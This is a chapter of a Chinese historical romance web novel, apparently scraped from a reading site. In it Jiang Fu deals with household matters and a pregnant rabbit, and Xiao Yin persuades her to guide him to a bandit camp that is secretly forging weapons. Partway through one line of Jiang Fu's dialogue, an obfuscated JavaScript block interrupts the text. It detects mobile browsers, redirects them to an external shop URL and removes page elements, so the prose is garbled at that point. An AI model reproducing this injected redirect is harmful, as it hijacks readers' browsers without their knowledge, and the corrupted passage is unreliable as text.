十二小姐魏清韵和江薇差不多大,正是容易玩到一起的年纪。云翘也道:“是啊,今天搬过去时,四姨娘还带着十二小姐过来打招呼了,两个小丫头玩得可开心了。还有……” 江芙道:“你直说就是。” “郭夫人派了两个婢女过来……”云翘迟疑道,“奴婢擅作主张,找借口把她们打发走了。” 江芙赞许道:“你做的很好。” 云翘这才松一口气。 江芙缓缓道:“姨母是好心,但一来我们姐妹用不着那么多人伺候,二来我用惯了你,换其他人也不放心。”江芙侧头看她:“日后再有这样的事,你只管拦下就是,谁要问你,就往我身上推。” 云翘道:“好。” 回了院子,江薇去找魏清韵玩了,江芙和云翘简单收拾了一下屋子,突然想起一事,道:“那母兔生崽儿之后,你把它和另一只分开养吧。” 萧隐的话她嘴上不信,心下却已默认,毕竟除了逗她的时候,他向来有的放矢。 云翘道:“好。” 江芙原以为这样就没问题了,谁料那兔子生崽儿没几天后,云翘又把它抱过来,说:“娘子,它好像又怀了。” 江芙大惊失色。 云翘指着母兔平坦的、看不出任何异常的腹部对她道:“现在还看不太出来,不过它怀上一胎时也是这样的。” 江芙欲言又止,最后叹道:“再这么生下去,我们要养不起了。” 它上一窝生了七只。 云翘也很发愁。 两人面面相觑时,墙头突然有人道:“兔子本来就会在孕中再次受孕,你若还想继续养下去,要把公兔和母兔彻底隔开。” 云翘脸色一变,道:“谁?” 江芙仰头道:“不知道肖公子什么时候有了听人墙角的习惯?” 萧隐朗然一笑,一跃而下,道:“这不是太想见江娘子了吗?” 自上次一别后,江芙再也没主动找过萧隐,对方也不知在忙什么,数日未曾现身。 江芙道:“你想见我大可以给定安伯府递拜帖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17011926|194132||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 萧隐笑眯眯道:“这不是为了娘子闺誉考虑吗?我若递了拜帖,所有人都会以为我与娘子私交甚笃,到时娘子还要一一解释,多麻烦啊,不若翻墙进来,方便又省事。放心,我很小心的,没有人看见。” 被自己曾经说的话堵回来,江芙不是很愉快,冷哼一声,道:“云翘,你去倒壶茶来。” 云翘看看萧隐,见自家娘子与这人极是相熟的样子,依言出去了。 江芙不理他,萧隐也习以为常,仿佛此间主人一般悠然坐下,问:“江娘子近来在忙些什么?” 江芙道:“吃饭,睡觉。” 萧隐摸了摸下巴,道:“那当真是人生头一等的重要事了。江娘子,你不问问我在忙什么吗?” 江芙道:“不想知道。” 萧隐就好像没听到一样,道:“我在忙江娘子上次告诉我的事。” 江芙知道这才是他这次过来的主要目的,问道:“肖公子上禀给太子殿下了?” 萧隐正色道:“正是。殿下已查清楚了,那伙山匪营地附近有一铁矿,他们应该是假借山匪之名,在那里私铸兵器。” 江芙脸色微变,贩卖私盐尚可以说是贪图金银,私自铸兵,还是在江阳这等地界,实在很难不让人多想。 可如今四域降,天下平,海晏河清,政通人和。谁有这样的胆子,敢做这种掉脑袋的事呢? 萧隐道:“殿下令我前去率兵清剿,但是那伙人藏得很隐蔽,我派人探查了好几次,都没摸清他们的具体方位,能否请江娘子陪我走一趟?” 事关重大,江芙谨慎道:“我也不清楚他们在哪。” 萧隐道:“江娘子只需带我去上次被劫的地方就好了。” 江芙迟疑道:“一定要我吗?换个人呢?附近的村落应当也有不少人……” 萧隐道:“此事还牵扯许多朝廷命官,不宜告知外人,江娘子眼下是最合适的。” 江芙犹豫不决,外祖一家一朝从天子门生跌入尘埃,几乎是他们一家不幸的开始,受此影响,越是这样紧要的大事她越不想掺和。 萧隐见她不语,劝道:“江娘子可是担心安危?我保证,一定将你全须全尾的带回来。” 罢了。江芙轻叹。 早在她把这件事告诉萧隐时,就无法置身事外了,即使不去,太子也已然注意到她了,不如把自己绑得更深些,以表明自己的忠心。 江芙道:“好了肖公子,我随你去一趟就是。何时出发?” 萧隐道:“即刻动身。” 江芙点点头,去寻了云翘,说自己要出门办点事,若顺利的话今天就能回来,若不顺利,可能要两三日,其间若有人来找她,就说她偶感风寒,不便见人。 云翘应下,问:“是和肖公子有关的吗?” 江芙道:“算是吧,你照顾好薇薇。” 她安排好一切,再回去时,果然不见萧隐的身影了。江芙见怪不怪,临走前在屋中翻箱倒柜,带了把匕首和几个药瓶以备不时之需。 门口的青布小轿已等候多时,萧隐掀开帘子,向她伸出手:“江娘子,走吧。”